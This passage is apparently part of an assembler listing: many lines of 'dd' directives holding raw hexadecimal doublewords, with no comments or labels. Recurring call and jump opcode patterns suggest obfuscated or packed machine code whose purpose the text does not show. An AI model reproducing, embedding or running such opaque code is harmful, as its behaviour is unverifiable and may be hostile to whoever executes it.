66C4F2D9h, 0F59D68Bh, 481h, 4EBF6600h, 0CEBF0FB4h, 11E8h dd 775DC300h, 5BA6A32Bh, 0FC4A36F7h, 25DF5F57h, 880F0D15h dd 5, 20DE8166h, 8B66590Ah, 0EE9CEh, 3B8C0000h, 123CAB9h dd 5AFE47Bh, 0A39E46A9h, 8452F181h, 0F5105ADh, 0E95EC0B7h dd 12h, 12C484AFh, 0A385FEB7h, 46A0D618h, 0DF30D117h, 8166E18Ch dd 0BED4A1E9h, 64091457h, 6E8h, 3F7DA700h, 0E8A9DBB1h dd 6, 0DFA11173h, 0BE80AF7h, 4F000000h, 7A3E587Ah, 0BBCD72A1h dd 5B5F50C9h, 0B966FC58h, 0CF8A91C8h, 5E9C1B3h, 0F2000000h dd 9044B415h, 13880Fh, 0E8600000h, 0Bh, 0D47E824Eh, 8A9D141Ah dd 5FC57108h, 0F9525161h, 0BBBE595Bh, 6074F0A2h, 0CDBA66F5h dd 0E86061B9h, 5, 2CE4DAA6h, 4EBF66D9h, 0BB615866h, 6E435E22h dd 0BE851F9h, 57000000h, 593499E9h, 0AC1D99B0h, 58FCF653h dd 0DF8BFC58h, 0CE9h, 0B85C2300h, 0CE4F2AA7h, 6DEED9B8h dd 71D8813Ah, 80671799h, 0BE96DD2h, 8E000000h, 5F4DD9A9h dd 95A5A5F5h, 0BA66595Eh, 8B66AA4Ch, 0FE18AF1h, 0BB66F0BFh dd 0FF59531h, 168Ah, 11E900h, 3C2F0000h, 1A681030h, 65C956C0h dd 0DD44DF78h, 57563153h, 59A4E480h, 1840Fh, 0FFC0000h dd 48Fh, 25B15100h, 0F781665Ah, 890FD775h, 2, 0E9FC2AB2h dd 0Dh, 4407D4C1h, 23F7845h, 253057F7h, 0C18B6640h, 57F8C78Bh dd 0D7816659h, 0BA66BF9Dh, 0F98BE68Ah, 0AE9F8F5h, 0DF000000h dd 1CD89F0Bh, 81B70B37h, 0AE9D1h, 33820000h, 1B747AC3h dd 6E639A74h, 8E9h, 0B3614400h, 9FA3F2BEh, 66F88BE0h, 47F9EF81h dd 0E96077B6h, 0Bh, 0CD7D3D5Ch, 0FDFC786Ch, 0E8184D88h dd 6, 455EE902h, 6EBE55FAh, 59566A75h, 0EE9F561h, 1E000000h dd 0BA451E2Eh, 2B94E6FDh, 66C7B96Eh, 46DF80E8h, 0D0D0BF66h dd 81FBB70Fh, 64C47AE8h, 0FDE8B58h, 0E853C3BFh, 13h, 0E4DBE6EAh dd 0A0F5C00Fh, 5BD1102Fh, 0C2E5E8D8h, 60A6C04Ah, 0E9595B61h dd 8, 754F17E4h, 2493B344h, 198A0Fh, 14E90000h, 95000000h dd 0A0D26940h, 0B1D03522h, 6DEA4F06h, 5EA584BEh, 6646C9A9h dd 0E8EAA1B8h, 9, 92972A1Fh, 68E2F727h, 0D98166FCh, 0B95AF39Ch dd 665C0087h, 1F04F681h, 840F6AB1h, 0Eh, 7E953h, 0D030000h dd 79822B58h, 870F5B8Bh, 0Bh, 58E0Fh, 81660000h, 66D5D6C0h dd 10E9D98Bh, 0AB000000h, 4D421C55h, 336F8A5Ah, 770D701Eh dd 562627DBh, 0F85ACB8Bh, 48D0Fh, 60600000h, 0C1816161h dd 3C049167h, 0B57ABE66h, 5927B057h, 8AD7B70Fh, 0FE8B66F4h dd 5D8092BAh, 0D381664Fh, 8166BB3Fh, 0FBADAC9h, 281h, 60F88B00h dd 8E8h, 0D2EB9B00h, 0F4B5A4BAh, 0C78B665Fh, 0CEBF665Eh dd 0FB8B6172h, 0E88A99B2h, 0CE8h, 16DAE800h, 6CE41A44h dd 0BF739741h, 38E0FA5h, 0F000000h, 815BD9B7h, 0CE6DBCBh dd 0A5B46029h, 61F18B66h, 0AE9F8h, 0CE60000h, 2115E12Ch dd 231FF3E9h, 0AEB7A3B5h, 5ECEBA66h, 5E8h, 38CD7100h, 0BF0FC69Ch dd 0BE605BC0h, 253575B6h, 9E9h, 0D2092700h, 46747780h dd 0E961F2F3h, 14h, 8957D6B9h, 293B1CFCh, 5C475D53h, 0D82DAF3Ch dd 730CBB7Ah, 0B8D78B66h, 50FB04C9h, 0AD43B1BBh, 0BE85Ah dd 6C5D0000h, 26EB7F28h, 0BAC3F3EDh, 93EB814Bh, 5B417F57h dd 0B966C88Ah, 8E0FFD82h, 5, 0DCD230BBh, 66F48A6Fh, 663AA5BEh dd 0E99E3BBEh, 10h, 0F62EA6FCh, 0D608B919h, 3A459E10h dd 593AF78Fh, 12E8D98Bh, 8E000000h, 0C3FFB9F6h, 20F1FBA6h dd 0CB3D0AF9h, 47E49373h, 0EE9BDh, 3D2B0000h, 7AB626E2h dd 0B10326E9h, 0ABB93A57h, 2870F5Fh, 0B2000000h, 0FE58A45h dd 58Bh, 0DE816600h, 0BB66461Bh, 0BF0FF4D4h, 0C68B66C1h dd 0E9C8BF0Fh, 10h, 1D6E8700h, 0ED7EAD9Bh, 12D329BBh, 6C90CBDCh dd 0FCABF0Fh, 8B66C0BFh, 0CF8160FAh, 35498CACh, 0EE9h dd 68E93400h, 0C229F84Dh, 78A87D66h, 61827E88h, 0F2AC180h dd 287h, 0FD08B00h, 0FB8BCAB7h, 8B19BB66h, 60DE8B66h, 44CA8166h dd 0FE94Fh, 78DB0000h, 6B2246C5h, 0DFD34495h, 4DA9BA09h dd 606061AFh, 13E8h, 85249B00h, 0D1EC2261h, 0EB15F3BFh dd 0BA12D944h, 0B5AA0CE4h, 15E3815Bh, 614B966Bh, 2870Fh dd 61600000h, 0D3B70F61h, 0B5C3C081h, 0C78045DEh, 0BDBBBB81h dd 6E951ACh, 0A3000000h, 0BDA7D144h, 58F856D8h, 68C08160h dd 0BB55AFBCh, 0E4135AFh, 9E961h, 0BF900000h, 55B60BF8h dd 0F1FF5F9h, 8B66CAB7h, 9E9CEh, 0C0B70000h, 44B7788Dh dd 0E97FAB75h, 0Ah, 28A058FCh, 2E7163D3h, 9FBA024Fh, 0E9573CE7h dd 14h, 0F07656Eh, 0E07EF6CDh, 5CC606C6h, 88612B0Dh, 3B80E621h dd 60FFB70Fh, 0FE9h, 61B3D200h, 0A3752C80h, 15BF2388h dd 0D731629Fh, 9E9h, 0F1ED4C00h, 7C2BD2E2h, 0E8615077h dd 11h, 3B587D56h, 0EFFC4265h, 2D5A2E42h, 8C739695h, 6659FC55h dd 9E9CA8Bh, 74000000h, 0B460853Dh, 0EDF65A21h, 7E8h, 8B419800h dd 4CA2581Eh, 665FD88Bh, 92BEF08Bh, 0F71009Dh, 987h, 3860F00h dd 0F000000h, 8B66FFBFh, 58B0FD8h, 0B9000000h, 2D39F291h dd 0DA6520B8h, 0B67BA5Dh, 890F1E45h, 4, 59FBB756h, 0AE8h dd 96EFB00h, 4FC1B5BBh, 0E8F299FFh, 12h, 33235CDCh, 0C67886F2h dd 0BE066E6Eh, 90D3676Fh, 0C38A5824h, 0C78B5A5Fh, 7E8h dd 0C8B28D00h, 0D1B24CF3h, 0F59F6B5h, 182h, 1DB4F800h dd 800Fh, 0F600000h, 0E781FEBFh, 7FBB0124h, 0E9D78B61h dd 0Ah, 6D439BCBh, 0EE143D7Dh, 69B645C2h, 0E9C88B66h, 0Eh dd 95725916h, 43B6D1C5h, 2458401Eh, 0F8BE1D60h, 810CB7E3h dd 0A99730D9h, 0EE869h, 56080000h, 4535D941h, 0E796E1CFh dd 6B748A71h, 0FE9h, 267E4400h, 327264DAh, 0FA4F9659h dd 0AD871517h, 3402BA5Ah, 0BA666E3Ah, 0CE8BA507h, 0B52EBE66h dd 48BA66F8h, 13E962h, 0C8670000h, 8179B86Eh, 33B47A03h dd 60C3A14Dh, 0B52EB7C2h, 66A2B7C6h, 522177BAh, 0E858C2B3h dd 6, 259E70B9h, 8B66AAAEh, 12E858D9h, 4B000000h, 0C73A4DA2h dd 768E0D11h, 3A22AFEBh, 496C0CA6h, 7E852h, 10200000h dd 97462078h, 0D2B70F1Eh, 0A6BF5B5Bh, 0F2559CEh, 486h dd 0EFB86600h, 5840F96h, 66000000h, 6454D681h, 39C08166h dd 8166F5E2h, 0F077DE8h, 13E9F6BFh, 0EE000000h, 16AAEF74h dd 0DA7CE054h, 132B47F2h, 8E98F92Eh, 8B66CCDBh, 83BE66C7h dd 8C0FA2h, 66000000h, 0E8F8F98Bh, 12h, 0ED9637C1h, 623DAB63h dd 0E2DD4D17h, 6CF3E886h, 8166F766h, 5FECD1E2h, 6E8h, 37490B00h dd 0B8F2588Eh, 54BA9D22h, 0AE9535Bh, 0D000000h, 0FB29B31Ah dd 9D2C6832h, 47B858D2h, 0BA4D1586h, 1CE3035Fh, 0DE860h dd 0C8F50000h, 695EE56Ch, 5B2EC5D0h, 50C1647Fh, 66615A5Fh dd 66883EBAh, 0A5B5F18Bh, 66FBB70Fh, 6660D08Bh dd 0B65D2CB9h, 816661E3h, 57A6A6D6h, 0DE9h, 0F3601A00h dd 2D9CF564h, 6070FB77h, 6659CCE9h, 8E0FD78Bh, 0 dd 0DBF66F5h, 5CC3BE57h, 0CB8B2404h, 93F18166h, 0F38B669Ah dd 0EE9h, 77A46C00h, 0B9460AE8h, 74D5C0AFh, 80FDC3ECh dd 12E888E5h, 80000000h, 276EB1C8h, 4A7E8003h, 969443B4h dd 16CDAFDCh, 0CA816655h, 815EC04Eh, 83AD5EF2h, 0CCCB8147h dd 0E928B6A4h, 14h, 92D86E1h, 47CAA5F8h, 0B36144B3h, 9FA3F2BEh dd 0A64BD1E0h, 0FD1B70Fh, 18Ch, 8E9F500h, 0A4000000h, 2ADD73Ch dd 664F810Dh, 0E860E5B9h, 13h, 8FAEF0A7h, 174D811Bh, 8BC6BF3Eh dd 444AAE85h, 0E9EA3A5Eh, 8, 0AF07C51Bh, 0B278920Eh, 0CE959h dd 6FA50000h, 8E32D924h, 0A217C12Dh, 0E9534AA1h, 5, 0C240E88Dh dd 0EA815E57h, 4B30F9B3h, 0F98006BBh, 6ED68165h, 0E969339Dh dd 10h, 0AB7B0E76h, 4D421C55h, 336F8A5Ah, 770D701Eh, 5860Fh dd 81660000h, 5703E3D0h, 6E9h, 49857C00h, 5F6471F9h, 9AC0F281h dd 81664D28h, 0F98A7CF7h, 820Fh, 0BF0F0000h, 11E9DEh, 0A0DE0000h dd 0D5E76A7Eh, 357D3501h, 0F96DA781h, 50344C1Dh, 0DE8h dd 81A15B00h, 7C0F19Bh, 204CE9E0h, 0CB815D8Ah, 2F802857h dd 0BF665E59h, 0C78A0169h, 0AE8h, 0EC9BD600h, 21B27C78h dd 66ED04E8h, 6917C981h, 11E8605Bh, 0B4000000h, 0F96191Dh dd 9E0A10E2h, 709DEADFh, 33ED6672h, 0E85A5957h, 11h, 0E3756C78h dd 4359F9A1h, 0A3210F2Bh, 0BFB93694h, 0F615F2Bh, 80h, 7BA2B800h dd 0FFC1463h, 11E9F0BFh, 0E6000000h, 13423245h, 78DEB417h dd 83F2DEEEh, 1CABB452h, 4840Fh, 0BE660000h, 0F8F51142h dd 88A0Fh, 830F0000h, 2, 0CE86160h, 4F000000h, 0F5000905h dd 3231D7E0h, 0F9CBF296h, 42BB665Bh, 800FA6h, 66000000h dd 1AB8E381h, 12E8h, 9387AB00h, 2259E618h, 0C772834h, 7B6012EFh dd 5877BF35h, 10E9h, 0A0A75E00h, 527ED8A1h, 24FC7161h dd 0BB40B714h, 0C28B6672h, 942248BBh, 0E8606018h, 11h dd 32FDEE29h, 6136AC2Ah, 0F4259CADh, 5F23684Fh, 8061590Bh dd 0B6613FE3h, 58B0F4Dh, 66000000h, 54B3E381h, 66ADF580h dd 0C1B0D68Bh, 22316BBBh, 4800F41h, 60000000h, 8061F8FCh dd 0EE986C7h, 87000000h, 6CD7F5A1h, 0DE6B3D6Ah, 910F765h dd 66FC60A5h, 612C69B9h, 0C0BF0F60h, 0F98B6660h, 61615B51h dd 66CBB70Fh, 0AD38E181h, 11E8FCh, 0E5CD0000h, 93221E95h dd 966BB505h, 0E580F0F9h, 0F8E6052Ah, 8B666059h, 0DE8160D9h dd 513CAEEDh, 860Fh, 61610000h, 84E3C681h, 0B70F4AE1h dd 71F080F3h, 0CF8166h, 0EE8D6h, 7E610000h, 0DC358639h dd 1330D574h, 4E4AD8DDh, 0DBB70F5Ah, 0DE8h, 1CEEC600h dd 92DA1C8Dh, 8435BEACh, 5AF5E98Ah, 66C6BF0Fh, 875ACF81h dd 0F6BB6660h, 0D7D58096h, 501DB361h, 0F08B6660h, 5E615953h dd 0E9E18A60h, 0Eh, 0C76CE2D3h, 3BDCE2A3h, 0EA2305E9h dd 60611CF9h, 0AE9h, 817C3D00h, 7D143A28h, 0F983A89Eh dd 0D68B6661h, 12E9h, 0C7902C00h, 424814C7h, 80E3DEC1h dd 0D633271Eh, 533CB259h, 0F3D28166h, 80F85EB0h, 8A0F7CD2h dd 6, 0A4F7E781h, 0BABF1C18h, 6608D052h, 892DE81h, 0FCAB70Fh dd 0EE9D6BFh, 8000000h, 0D2619536h, 0D1A3CC68h, 7D604404h dd 14E9F2h, 86AF0000h, 0DF5AF053h, 34538A76h, 6630C2DBh dd 0F96735B3h, 6E8A777h, 0C8000000h, 19973798h, 0DE881E8h dd 5E1ED356h, 36B96657h, 0B9665E2Dh, 0E980756Eh, 6BE180E5h dd 41D881FCh, 0F5EC3EDh, 580h, 0C7816600h, 8B6691DAh, 4810FD1h dd 66000000h, 503AEABAh, 9CAEDB81h, 8B5E3EC1h, 2F12BEF7h dd 0E9F93658h, 6, 75EE1116h, 8B66219Dh, 1BEC80D3h, 6E9h dd 0C9B33A00h, 8BD2E5F8h, 0BE8CFh, 12C00000h, 5F16F73Bh dd 0FCCF484h, 8B0F5FB8h, 1Ah, 13E951h, 0B2C0000h, 4558870Ah dd 0FDE56534h, 0CD196237h, 0ABAD3650h, 0BA665817h, 0A0B360DCh dd 42EFC981h, 0BE80A96h, 0E8000000h, 62301E73h, 1A79134Ch dd 5258A887h, 32578FBAh, 0F88B5F05h, 0CA80C58Ah, 6800FF5h dd 81000000h, 87193FE1h, 0DEBF0F7Bh, 0D8806060h, 8B0F14h dd 61000000h, 0E6BB6660h, 0CA816698h, 616177DEh, 6E8h dd 62790B00h, 0E87754BBh, 5, 2C8571C8h, 6E988h, 0B2660000h dd 78DF7C53h, 53FC5958h, 14E9h, 0A3BA700h, 99D4D57h, 2C9ED988h dd 88E2D7FBh, 0FA3E268h, 81665989h, 0FCA81D8h, 38Ch, 88D48000h dd 0FF78B66h, 683h, 91C98100h, 6072BFFAh, 1830Fh, 66F80000h dd 614845B8h, 31AB80B9h, 830F6030h, 6, 890Fh, 8B660000h dd 816661F7h, 0B9B4EDD9h, 45C33E5Fh, 43AADE81h, 0F567010h dd 605FFEBFh, 15880Fh, 10E90000h, 0FC000000h, 0C45CEFF6h dd 47FF1DAAh, 567EF4AEh, 615A762Fh, 10E9h, 0AFC47F00h dd 251E8E65h, 188B7B2Eh, 0D04886Eh, 0FD08BC3h, 0B82h, 58D0F00h dd 66000000h, 4BBAD081h, 0AE8h, 8C1FB600h, 0C4838CA1h dd 0B51BA6E3h, 63BF5FD8h, 663F2893h, 7E8CA8Bh, 3000000h dd 0A0043D6Dh, 0CE8E824h, 2C000000h, 21CF85D2h, 1EF6ADE3h dd 0E91BF5DDh, 13h, 365842E9h, 3D0438A5h, 26CE9515h, 0E9958EEAh dd 5A21432Fh, 53BB665Fh, 9B4B983h, 0E38131EFh, 3B07FCB5h dd 0CE8h, 0FA415900h, 15B74F09h, 35FC7027h, 59A8B08Ah dd 7830Fh, 66510000h, 2BC3DE81h, 12E85Ah, 5FBF0000h, 90E8BD77h dd 0FF20C723h, 0D17FAE60h, 3076C568h, 3830Fh, 8B660000h dd 0F6058DEh, 0DE8D3B7h, 0E4000000h, 1E78EE2Ah, 0BBC734EFh dd 669E139Bh, 6158B4B7h, 60D98B66h, 3800Fh, 8B660000h dd 64F181DAh, 611B7C80h, 66FBB70Fh, 0BF60CE8Bh, 1E65984Eh dd 1DB8B866h, 6011B361h, 61F88B66h, 11E860h, 0BCA00000h dd 0E1EB6062h, 8D19F1Ah, 0F400027Eh, 60858FB8h, 0F615961h dd 148Ch, 9E800h, 5A210000h, 0CCC3EDF6h, 0BBACA12Ch, 1E88A6ECh dd 0E860F5Ah, 0E9000000h, 9, 0A8DEAEFh, 179A9049h, 0D88166B5h dd 0BE94176h, 0B0000000h, 0A4918A7Ch, 9F4206BAh, 23BFB489h dd 0F2F9409h, 82h, 667EB400h, 0FE8DA8Bh, 72000000h, 0B9329278h dd 0E2CE9973h, 0E6A1A659h, 8166E800h, 59130EE8h, 0D0EF8166h dd 22D981D2h, 663A93CCh, 0D193D781h, 7CC34BBFh, 3ECD8030h dd 792822BFh, 0CE815672h, 4B5D9944h, 8F0F5Bh, 66000000h dd 122BDA81h, 0F1816660h, 8152FB6Bh, 4FC9EEDEh, 0E8615848h dd 0Eh, 2895586h, 0D977CB51h, 0EC9182D3h, 3DBF5C2Eh, 5F6F5547h dd 0AE8h, 1E9CF000h, 3812D7EBh, 666846DBh, 0F5FC38Bh, 18Ah dd 8166F800h, 661FBDF6h, 65F1EB81h, 0BE8h, 7BE5B300h, 0E4DE88D8h dd 98FECE0h, 13E9h, 15006900h, 0C96785FAh, 92FC9744h, 7BBD70EEh dd 596E0BB0h, 12E95Bh, 376D0000h, 5E826ED2h, 1E57128h dd 60AAC9A5h, 0F07685A3h, 820Fh, 8B600000h, 0F28166C3h dd 0E961ACD4h, 0Eh, 9ED0FC1Dh, 0BF5E0385h, 72997FA6h, 0F516ED5h dd 8B59C3B7h, 0C96BADEh, 0F60035Ch, 282h, 0E85B5100h, 0Ah dd 1A21F447h, 0C179785Fh, 0BF0FCBABh, 0E96159C9h dd 10h, 9059D4D3h, 37452D8Ah, 0ED67993Ah, 0AC10346Ah, 0ABF28166h dd 0EE9AAh, 0A9880000h, 427C28C3h, 0B7EF97EDh, 5B295335h dd 0DB80C88Bh, 9EC3B9E5h, 0DE9507Ch, 3D000000h, 831B8121h dd 387FFFC5h, 485D5A3Eh, 8166F88Bh, 66B8E2EAh, 924EE981h dd 13E951h, 0AC5E0000h, 1A50218Ah, 0D0D2F998h, 0F9B79314h dd 0D61715A7h, 66575AF5h, 0E85FC38Bh, 12h, 488ADDA5h, 0E4BCA268h dd 0B075231Eh, 98ABC025h, 0C980E4C0h, 0D4805E2Ah, 0E9F5F812h dd 0Ah, 0D8A3C5EFh, 73A36620h, 0BE668AEBh, 0BF0FFE2Dh dd 5D99BBC0h, 0CE90DA9h, 91000000h, 0A3C1C1EFh, 11C8274h dd 664230BEh, 34BBF38Bh, 0E94AABB0h, 0Bh, 0AC0BE11h, 706A81AEh dd 814C0979h, 6ECDA7D8h, 3870F5Ch, 66000000h, 0EE8CA8Bh dd 0C4000000h, 93AEEC11h, 959FFE71h, 61D2D080h, 11800FF1h dd 0E8000000h, 0Bh, 0D3E0D1E7h, 6561FE7Bh, 58931940h, 8166575Ah dd 5E1860C8h, 0CE8h, 10E50600h, 410055F7h, 9E97C623h, 0D98B66C2h dd 575E505Ah, 0FE8h, 10B22500h, 789A837Ah, 0F5DA116Ah dd 4AC40B2h, 0BE9h, 43F57500h, 60BB5E27h, 0A8BBE64Ah, 0CFBF5B5Eh dd 660328CFh, 9FC0D281h, 36D4BB66h, 88C0Fh, 810F0000h dd 2, 60BEFD8Ah, 665FB70Bh, 0F6D87BFh, 0BF0FD9B7h, 0F3B3FCC0h dd 0EAADB966h, 5850Fh, 81660000h, 609A92EAh, 85BA6660h dd 0C28A614Bh, 0B866F961h, 6651A21Bh, 5E7F35BBh, 0B53AEB9h dd 0D8BF0F76h, 9CB9D6B6h, 666A76ADh, 0F778EA81h, 0DB9FEB4h dd 0E934C206h, 6, 13CAE9Fh, 14E9A3DEh, 51000000h, 0FF0AF3DEh dd 17EFF72Ah, 0A48B17B0h, 6F419464h, 60CB95C0h, 0F4D3C381h dd 0AE95608h, 70000000h, 0D445B81Ah, 2B10C97Bh, 0F580613Ah dd 5E9600Ah, 27000000h, 336D9105h, 6161CB80h, 14E9h, 0DB3C0800h dd 0F7736F4Ah, 29D59F3Eh, 0AC9FFF25h, 0E280F755h, 8E90Bh dd 0FF540000h, 0C715D734h, 81660AB2h, 0E97065DFh, 8, 35A7D9F3h dd 0E389D4C3h, 8E8h, 55A87000h, 0A2DE9EFBh, 6850FE2h, 0F000000h dd 84h, 7E95800h, 80000000h, 0F3F9B17h, 6653D5F5h, 0FF7F681h dd 840FF95Ah, 0 dd 0FE9h, 0C578DB00h, 956B2246h, 9DFD344h, 0AF4DA9BAh dd 66F38B66h, 9E58C381h, 9E960h, 21090000h, 599CE115h dd 0F38A0C8h, 0F61C0BFh, 387h, 0C6B70F00h, 60F6B70Fh, 0FB8B66F8h dd 0DA816661h, 8F0F63E4h, 3, 80F88B66h, 0C68BF4D1h, 0CBA8B856h dd 0B75F66F2h, 66CF8B82h, 0CB8BC18Bh, 12E9EE8Ah, 0E6000000h dd 173DBE64h, 0E0B2D52Eh, 784338EAh, 2BF3B51Dh, 60E681DFh dd 0F103DE7h, 0DE8BF0BFh, 4820F52h, 66000000h, 58ED58B9h dd 0E8F7F180h, 13h, 0DF188258h, 85ED38A4h, 2371BE50h, 33B0E36h dd 0FBE7DF4h, 687h, 8A0F00h, 5F000000h, 0C8E98166h, 98C0FCAh dd 0F000000h, 381h, 0DBB70F00h, 9D65BA66h, 17840Fh, 0E9500000h dd 10h, 9AFB91h, 0FF921F1Ch, 1C3AE0E2h, 16477719h, 0F7B70F5Eh dd 0F9FE8B66h, 80C8BF0Fh, 0C08122CEh, 4E5DC085h, 0CEB198B7h dd 14880Fh, 0FE90000h, 0F4000000h, 9AF1756Ah, 0E3349BBEh dd 0A46B1316h, 8E9B2C4h, 6000000h, 0C40500F9h, 818F4E7Dh dd 952504EAh, 12E839h, 0EDB00000h, 0F96CDCCDh, 5DA817Eh dd 0B5240BD6h, 0F35A0C74h, 0FC5FC28Bh, 0CE8h, 0C85B2100h dd 7AA52882h, 746DD8C6h, 0D3B95864h, 0E901F74Eh, 8, 868EDDC1h dd 6E154C0Ch, 665353F5h, 5AB14EB9h, 0C981665Ah, 605259A6h dd 8F0Fh, 58610000h, 0B20FBE60h, 0B2610647h, 0C9B70F22h dd 0D38B6657h, 0C7B9665Bh, 0D88A6062h, 0FEBF0F56h, 6660615Bh dd 0FE3F4B9h, 0F561D7B7h, 0E960F560h, 10h, 50B7D1Bh, 0A3EE17FDh dd 0DBC2DCFBh, 7B71E680h, 61615856h, 0FE9h, 68796100h dd 8C50A3BDh, 38D76180h, 71A32C26h, 0FDAB70Fh, 589h, 0CB816600h dd 0F600AB2h, 89h, 6850F00h, 0F000000h, 80h, 0AE96100h dd 4D000000h, 0D72E153h, 0A5A902F1h, 46C081A1h, 0F45838Dh dd 883h, 0B70F6000h, 0F78B66C6h, 10E961h, 0C7540000h, 10CD591Bh dd 1BABB1AFh, 0E8C5923Dh, 73BBD648h, 0B35D42F3h, 13E893h dd 0A2770000h, 8EA13EC1h, 3604A62h, 0BBD3208Bh, 463BE387h dd 11E948h, 0D3C70000h, 0FB55A870h, 0E2A2DE9Eh, 0BD2F8365h dd 59D06E90h, 8A0FE2B0h, 0Ch, 6870Fh, 8C0F0000h, 0 dd 24F6DF81h, 0E8F54615h, 9, 5C6842D9h, 1686C80Fh, 9E898h dd 2F170000h, 0DC3476E1h, 0F6972C5h, 5A5FC0B7h, 10E9h dd 0A0F23D00h, 0E211C202h, 1B9D17B2h, 8F45F5FFh, 10E9F548h dd 0A2000000h, 5408F7EDh, 0B9F04862h, 56E72521h, 0E9B68376h dd 0Dh, 168F73E7h, 668A3B27h, 2FF63C35h, 5880F16h, 66000000h dd 63E3F281h, 7E9h, 206B6F00h, 2ACA5673h, 11E8h, 6CB79000h dd 2E584A4Ah, 2DD35230h, 0AD730D34h, 66603306h, 0D493DE81h dd 0FD5B33BAh, 0E85F6119h, 11h, 4DF3D752h, 0AD5B24E1h dd 8D3EF53Eh, 85B01516h, 0D0816665h, 6059196Ch, 38A0Fh dd 0EA800000h, 61C78B24h, 69E0B866h, 86EF8166h, 2EBE666Bh dd 0BE921h, 2C9B0000h, 1A782AC6h, 0AD982E30h, 0DE8B668Dh dd 0BE9h, 0D9C42100h, 32CEE992h, 0FA121DDh, 66DE8B66h dd 66B411BEh, 1A9FE981h, 68E0F57h, 81000000h, 603ABED1h dd 8B665952h, 84FEBBD9h, 0C1BF1275h, 0B2483DD1h, 0F8F98BBFh dd 0E330B960h, 0C381400Bh, 49E7B831h, 0BE60B561h, 3343A172h dd 0E6811EB3h, 32C7344Dh, 0F68160F9h, 7F31187Ah, 61D3B70Fh dd 8E9h, 5CF89A00h, 28D1BF7Fh, 0FE9EAh, 5D6B0000h, 0F248A4AFh dd 0B50A61DDh, 303F767Ah, 14F7BEDDh, 0E380341Eh, 0D0B966A1h dd 12E87Dh, 40000h, 75268366h, 53321C65h, 6C210EFCh, 0AA25D20Ch dd 13E8h, 226ACB00h, 7E6B9DE7h, 0A7308903h, 34DFE812h dd 934C9F7h, 5BA2D280h, 0D0B70F5Ah, 2840Fh, 0E8B30000h dd 8E9h, 60984B00h, 8BBA0341h, 67BF66B9h, 0F606069h, 89h dd 0C6B70F00h, 0C88B6661h, 0CF8B6661h, 0AF74BE66h, 0CE82AB0h dd 77000000h, 73B01335h, 6B61CC66h, 5BF23982h, 0BF0FA5B7h dd 0E864BBC2h, 816610A2h, 0FDFB4DEh, 18Eh, 14E8F900h, 8000000h dd 98859DCh, 7FF140CDh, 0C50A113Ah, 84E8A1D0h, 0E9279B9Fh dd 14h, 38E895B7h, 7F2047F1h, 4D3DB53h, 0A873F2EEh, 83EA6D9Eh dd 9CBA6659h, 0C38B66C4h, 9924C781h, 870F6394h, 6, 8E0Fh dd 8B660000h, 78F0FD1h, 0F000000h, 18Ch, 85B7F900h, 0EE9h dd 5845E400h, 318E0E73h, 9C8FD90Bh, 80C5398Fh, 0F18B5BDFh dd 8AD38B66h, 65BE66FAh, 0D28166C0h, 8166DDDDh, 8BA06FF0h dd 1C880F7h, 0FE8h, 23534700h, 0F567F158h, 0EDC9EEBDh dd 88A98F8Ch, 10E9h, 35E02300h, 83FE8D16h, 7E37B9FEh, 0F6E2AD37h dd 0F9BB5B45h, 0BB194585h, 1A78B07Ch, 66D08B66h, 573E70BBh dd 2821BE66h, 66DE8B5Ah, 0C0BFD881h, 0FFA8B66h, 58Eh, 0EA816600h dd 8166CD20h, 0FAC6AE9h, 108Ch, 5E800h, 77C20000h, 0BBB74C46h dd 7F5E0A78h, 1CC1815Fh, 0F4BAA5Bh, 0FE9DBB7h, 6000000h dd 0F0B9F112h, 2EBBCCC0h, 0FB5C94B1h, 0FE937A7h, 0DE000000h dd 0B248E4C6h, 0C400B2B5h, 8521190Eh, 50B9521Ch, 8052511Fh dd 0B70FDFD3h, 0D38160F9h, 4DB6F2E5h, 4800F61h, 66000000h dd 0FC24ABBh, 480h, 61605100h, 38C0F58h, 66000000h, 0F480C68Bh dd 5820F20h, 0BF000000h, 7E7D282Eh, 0BFF78A60h, 695CA5FBh dd 0DABF0F61h, 5870Fh, 0AB80000h, 66225261h, 5EBFC28Bh dd 0E9297A42h, 7, 0E3328CFAh, 0F9B54274h, 76E08166h, 0C881667Fh dd 56B85A48h, 0F6B2597h, 1D81h, 11E800h, 69940000h, 3A747FEh dd 74702F00h, 0B4854999h, 0F873CF4h, 84h, 0B8665A00h, 66F92B50h dd 6E8EC381h, 0FC78B66h, 18Eh, 8B66F500h, 0D68166F2h, 8B664508h dd 0FFBF0FF7h, 0A346BE66h, 0E18166F5h, 8D0F7442h, 2, 0F5531CB2h dd 0F60605Fh, 8166F8BFh, 61119CEBh, 2820Fh, 0F38B0000h dd 81665761h, 5913EAEFh, 0AE9h, 0D47DBA00h, 1A0F5E53h dd 0E938EDBDh, 9, 8ED8D18Fh, 7625B61Bh, 0C8816650h, 6E9E572h dd 4C000000h, 0C2050EF8h, 19820F2Ah, 0E9000000h, 14h, 9221FC1Ch dd 540C0EC1h, 0D82C3556h, 94468F23h, 9C4F68CBh, 7231B866h dd 890FF38Bh, 2, 0F18BF78Bh, 0D1E38166h, 0E9536060h, 0Ch dd 0FF49E35Dh, 0C68768D3h, 17111103h, 0CE81615Eh, 73B31529h dd 10E9h, 0F311B500h, 0C38EF0C7h, 0FDC9DE27h, 0EA0CA433h dd 41D080ACh, 14E967B6h, 79000000h, 0A5C16BDEh, 585E3289h dd 0B16EF3E2h, 0A280B7D4h, 60F5B4E4h, 8736B866h, 0FE961h dd 0CE3A0000h, 0A71673Dh, 0A7765225h, 0BF873788h, 6E869h dd 11F0000h, 0C8B9595Fh, 11E9h, 85279000h, 0B42BAAC2h dd 4A0F0E02h, 0A3D43EBh, 56599799h, 8E9h, 1FA41400h, 0BAD566AAh dd 8B665B6Dh, 24BF66DEh, 3850F02h, 0F000000h, 8A0FC8B7h dd 6, 8B0Fh, 8B660000h, 16840FC7h, 0E9000000h, 11h, 0CCAFB5E1h dd 2B7B8EF8h, 45CA1387h, 472C0AAEh, 8B0F60B5h, 17h, 12E9h dd 0FE83FE00h, 377E37B9h, 45F6E2ADh, 0C502B502h, 0FA58A98h dd 0F61CFBFh, 8B66C1B7h, 0E38166C1h, 81666B95h, 0F855DC8h dd 90B8D1BFh, 0E81B0D87h, 11h, 38A0C859h, 226E32F9h, 339B9BC3h dd 3B9E4E8Ah, 0D2B05873h, 11E9h, 91E84400h, 7B8CF9FAh dd 5F668441h, 17213B54h, 0EC8A5F02h, 7571F681h, 870F3E94h dd 15h, 10E9h, 425FE400h, 741473BEh, 5389E48Dh, 5031A3Dh dd 0B785B4A5h, 0EF816665h, 0F557E5C7h, 